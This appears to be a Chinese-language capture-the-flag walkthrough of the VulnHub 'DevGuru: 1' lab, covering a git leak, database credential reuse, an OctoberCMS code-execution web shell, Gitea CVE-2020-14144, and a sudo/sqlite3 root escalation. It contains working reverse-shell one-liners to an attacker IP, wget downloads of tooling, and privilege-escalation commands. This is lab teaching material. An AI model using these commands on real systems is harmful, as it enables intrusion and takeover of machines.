注意:本文介绍的所有渗透测试方法,仅供学习,请勿用于非法用途
0-靶机介绍
靶机地址:DevGuru: 1 ~ VulnHub
VulnHub对该靶机的介绍为:
DevGuru 是一家虚构的 Web 开发公司,雇用您进行渗透测试评估。 您的任务是查找其公司网站上的漏洞并获取 root 权限。
OSCP 类似 ~ 基于现实生活
难度:中级(取决于经验)
1-信息收集
靶机信息探测
# 启动靶机后,会在登陆界面显示IP地址
export IP=192.168.220.136
nmap -sC -A -p$(nmap -p- --min-rate 1000 -T4 $IP -oN nmap.txt --append-out | grep '/tcp' | awk -F '/' '{print $1}' | tr '\n' ',') $IP -oN nmap.txt --append-out
得到如下信息
网页目录扫描
# 需要先使用apt或apt-get安装该工具
feroxbuster -u http://192.168.220.136/ -o feroxbuster.log
结果如下,可以发现 http://192.168.220.136/backend/backend/auth 是一个后台登录界面
git泄露利用
# 需要先从GitHub下载dumpall工具
~/CTFtools/web/dumpall/dumpall.py
>http://192.168.220.136:80/.git/
在生产的结果目录 192.168.220.136_80 下发现一个adminer.php
那么直接访问页面:http://192.168.220.136/adminer.php,是一个MySQL管理后台
在扫描结果的config目录下,可以发现一些敏感信息
cd 192.168.220.136_80/config
cat database.php
其中有 MySQL数据库 的账号密码,我们将其在 Kali 中更新至 cerd.list
vim cerd.list
october:SQ66EBYx4GT3byXH:octoberdb
然后,登录MySQL后台
在数据库的 backend_users 表中,可以找到一个 frank 用户,推测应该是 http://192.168.220.136 网站后台的管理员账号
我们将 passwd 字段内容在kali中保存至hash.txt
vim hash.txt
$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK
然后使用John对frank用户的密码MD5值进行爆破
john hash.txt
等待很长时间,没有结果,但是知道了加密方式是 bcrypt
2-GetShell
数据库修改
我们利用 CyberChef 在线工具,通过 Bcrypt 加密方式设置一个密码 Admin@123,用于稍后改库
改库,修改 passwd 字段
使用修改之后的密码登录后台:http://192.168.220.136/backend/backend/auth/signin
OctoberCMS漏洞(未利用)
在后台发现这是一个OctoberCMS
查找相关漏洞
把两个都下载下来,查看是否可以利用(我太菜了没看懂怎么利用,后续补充)
页面文件修改执行
通过CMS后台编辑,在页面代码中写入一句话,保存后点击“Preview”,访问修改后的页面
在修改后的页面中加上参数0=id,成功执行命令
reverse shell
反弹shell,先开启监听
nc -lvvnp 2233
访问URL,实现反弹
# 注意reverse shell语句中的&要替换为URL编码%26
http://192.168.220.136/about?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.220.129/2233 0>%261'
成功getshell
3-user提权
基础提权
查看有无python
# 并没有结果
which python
# 但是有python3!
which python3
python3基础提权
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
自动化枚举(未利用)
Kali中开启服务
# 需要先自行前往GitHub下载linpeas工具
cd /home/kali/CTFtools/web/linpeas
sudo python3 -m http.server 80
靶机接收并执行
cd /tmp
wget http://192.168.220.129/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.log
进程监视(未利用)
Kali中开启80端口进行传输
# 需要先自行前往GitHub下载pspy64工具
cd /home/kali/CTFtools/web/pspy64
sudo python3 -m http.server 80
靶机接收并执行
wget http://192.168.220.129/pspy64
chmod +x pspy64
./pspy64
配置文件翻看
在 /var/backups 目录下的 app.ini.bak 文件中,发现一处敏感信息
更新cerd.list
数据库修改
使用gitea账号登录MySQL后台:http://192.168.220.136/adminer.php
在user表中,可以看到frank用户的密码哈希值,且哈希加密方式为pbkdf2
尝试借助 cyberchef 在线工具,修改密码为:Admin@123
经过尝试可以发现,在不指定 Passphrase 和 Salt 的情况下,修改密码后并不正确
查看 app.ini.bak 文件中相关部分,可以发现实际上有三种哈希加密方式可选,分别是pbkdf2、scrypt以及bcrypt
那么我们把 passwd_hash_algo 字段的值修改为 bcrypt,并使用 cyberchef 在线工具修改 passwd 字段为Admin@123 的哈希值
成功登录Gitea后台
Gitea漏洞(CVE-2020-14144)利用
从页面中得知 Gitea 版本为1.12.5 ,我们借助 exploit-db 查找相关漏洞
searchsploit Gitea | grep 1.12.5
这是一个 RCE 脚本,我们查看具体内容,发现只要提供目标IP、gitea后台用户名及密码、接收反弹 shell 的机器IP及监听端口,即可利用
那么我们在 Kali 中开启一个监听端口
nc -lvvnp 2233
然后带上参数直接运行 POC 脚本
python3 49571.py -t http://192.168.220.136:8585/ -u frank -p Admin@123 -I 192.168.220.129 -P 2233
方法一:修改脚本
发现脚本无法正常执行,经查证后,需要对脚本略作修改,改动如下
对脚本修改后应该可以正常使用(但我还没尝试,待后续补充)
方法二:原理利用
阅读 49571.py 脚本开头给出的PoC演示文章:Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius
可以发现利用的原理就是在 Settings -> Git Hooks 中写入shell反弹语句
#!/bin/bash
bash -i >& /dev/tcp/192.168.220.129/2233 0>&1 &
按照演示文章,在Gitea后台进行语句写入
继续阅读演示文章,告诉我们需要向仓库提交一次代码,然后就可以 reverse shell,那么实际上,我们直接修改仓库中的代码,也差不多可以起到一样的效果
修改仓库中的代码
然后直接进行提交
成功 reverse shell
基础提权后拿到user的flag
4-root提权
查看能执行的sudo命令
sudo -l
发现一个sqlite3可以执行,但是权限是非root用户
同时,frank用户无法直接以root身份运行/bin/bash
sudo < v1.28 提权
在 HackTricks 上查阅相关信息:Linux Privilege Escalation - HackTricks
通过命令查看 sudo 版本信息
sudo -V
sudo版本为 1.8.21p2,存在被利用的可能
sqlite3利用
在 sqlite3 | GTFOBins 上查阅 sqlite3 相关信息
综合利用
综合以上信息,我们可以构造如下命令来获取root权限
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'
成功利用
在 /root 目录下得到flag